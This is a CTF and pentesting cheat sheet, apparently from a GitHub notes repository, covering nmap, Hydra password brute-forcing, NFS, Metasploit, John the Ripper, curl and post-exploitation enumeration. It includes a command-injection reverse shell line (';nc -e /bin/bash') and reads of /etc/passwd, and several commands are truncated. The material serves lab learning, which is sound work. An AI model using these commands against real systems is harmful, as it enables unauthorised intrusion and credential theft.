

# CTF

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# Introduction

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**Found an error or have a suggestion?** Please open an issue on GitHub ([github.com/dentremor/Software-Defined-Infrastrucure](https://github.com/dentremor/Software-Defined-Infrastrucure)):



Figure 1: QR code to source repository

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# License



Figure 2: AGPL-3.0 license badge

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VM



QEMU

# QEMU

To create a disk image run the following command:

```
qemu-img create -f qcow2 disk.qcow2 64G
```

The VM can be executed with a bash script (remove Image.iso with the distro image of your choice):

```
#!/bin/bash
```

```
qemu-system-x86_64 -enable-kvm -m 4096 -smp $(nproc) -cpu h
```

If you also have a 4k-panel, you probably will face some scaling issues like me. In that case make sure you use Wayland instead of X11.

## Exploiting Network Services

GitHub Repos

# GitHub Repos

SecLists: <https://github.com/danielmiessler/SecLists>

Bash

# Bash

Run a bashscript with persistent permissions:

```
$ ./bashscript -p
```

\*(-p = persists the permissions)

Find



# Find

Find a file in a specific directory:

```
$ find / -name "*smtp_version"
```

```
*(/          = directory where the search recursively starts  
  -name      = only show matching results  
  [para]     = search-parameter to match)
```

SSH

# SSH

Authenticate via ssh with the key-file id\_rsa:

```
$ ssh -i id_rsa user@10.10.10.10
```

```
*(-i [file] = Identity file)
```

NMAP

# NMAP

Checks open ports in defined range and check running services with Nmap:

```
$ nmap 10.10.221.8 -sV -p 0-60000
```

- \*(-p- = Scans the whole portrange
- p = Specific port or portrange
- sV = Attempts to determine the version of the service
- A = Enables OS detection, version detection, script scan

FTP

# FTP

Download a File from an FTP-Server with Wget:

```
$ wget -m ftp://user:password@ftp.example.com
```

```
*(-m = --mirror)
```

# Hydra

Use Hydra for cracking password in our example on an FTP-Service:

```
$ hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV [IP]
```

```
*(-t 4      = Number of parallel connections per target
-l [user]   = Points to the user who's account you're trying
-P [file]   = Points to the file containing the list of pos
-vV         = Very verbose: shows the login+pass combinatio
[IP]        = The IP address of the target machine
[ftp]       = Sets the protocol)
```



NFS

# NFS

List name or NFS shares:

```
$ /usr/sbin/showmount -e [IP]
```

\*(-e = Shows the NFS server's export list  
[IP] = The IP Address of the NFS server)

Connect NFS share with mount point on our machine:

```
$ sudo mount -t nfs IP:share /tmp/mount/ -nolock
```

\*(-t nfs = Type of device to mount, then specifying that  
IP:share = The IP Address of the NFS server, and the name  
-nolock = Specifies not to use NLM locking)

SMTP

# SMTP

There are three relevant commands, when it comes to SMTP:

(VRFY = Confirming the names of valid users

EXPN = Reveals the actual address of user's aliases and

RCPT TO = Specifies the e-mail address of the recipient)

Metasploit

# Metasploit

<code>*(search [name]</code>	<code>= Search for a module and h</code>
<code>use [name]</code>	<code>= Selects a module by name</code>
<code>options</code>	<code>= When a module is selected</code>
<code>set [option] [parameter]</code>	<code>= Set a specific option wit</code>
<code>run</code>	<code>= Run the exploit)</code>

For further information see the following documentation:

<https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/>

MySQL

# MySQL

First we need a client, which is in our case  
default-mysql-client:

```
$ mysql -h [IP] -u [username] -p
```

```
*(-h [IP]           = Connect to the MariaDB server on the given host  
  -u [username]     = The MariaDB user name to use when connecting  
  -p               = The password to use when connecting to the server
```

If we do not have any credentials we can use Nmap or Metasploit  
to gain this information:

```
```bash
```

```
$ nmap --script=mysql-enum [target]
```

```
*(--script=mysql-enum [target] = Scan with a single script  
                                = The IP address of the target)
```

Now that we know some usernames of the database, we can try to  
crack the passwords of them with Hydra:

```
hydra -t 16 -l root -P /usr/share/wordlists/rockyou.txt -v
```



Jon the Ripper

## Jon the Ripper

If we have a hash which look something like the following example:

```
carl:*EA031893AA21444B170FC2162A56978B8CEECE18
```

We can pipe the hash in a file:

```
$ echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
```

And crack the password with John the Ripper:

```
$ john hash.txt
```

```
$ john --show --format=RAW-MD5 hash.txt
```

```
*(--show                = show cracked passwords  
  --format=<param>    = force hash type: descrypt, bsdicrypt, ...)
```

# Web Fundamentals

Curl

# Curl

If we want to get sources of a webpage, we can do this with Curl:

```
$ curl -X GET http://10.10.4.59:8081/ctf/post
```

*(-X [GET]	= Set kind of fetch
[target]	= The URL of the webpage we want to fetch
-d [param]	= Sends the specified data in a POST request

CEWL password list generator.

WPSCAN scans the Word Press version.

Gobuster is a tool used to brute-force URIs including directories and files as well as DNS subdomains.

DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects.

## Reverse Shell

## Reverse Shell

```
$ ;nc -e /bin/bash
```

For more information checkout the following GitHub repo:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Me>

If you gain access depending on the OS you can try the following commands to get more information: >Linux

```
$ whoami
```

```
$ id
```

```
$ ifconfig/ip addr
```

```
$ uname -a # print system information
```

```
$ ps -ef # -e = select all processes
```

```
$ less /etc/passwd # usernames with UID, GID, GR
```

```
$ cut -d: -f1 /etc/passwd # only usernames
```

```
$ cat /etc/os-release # Get information about the O
```

*Windows*

```
$ whoami
```

```
$ ver
```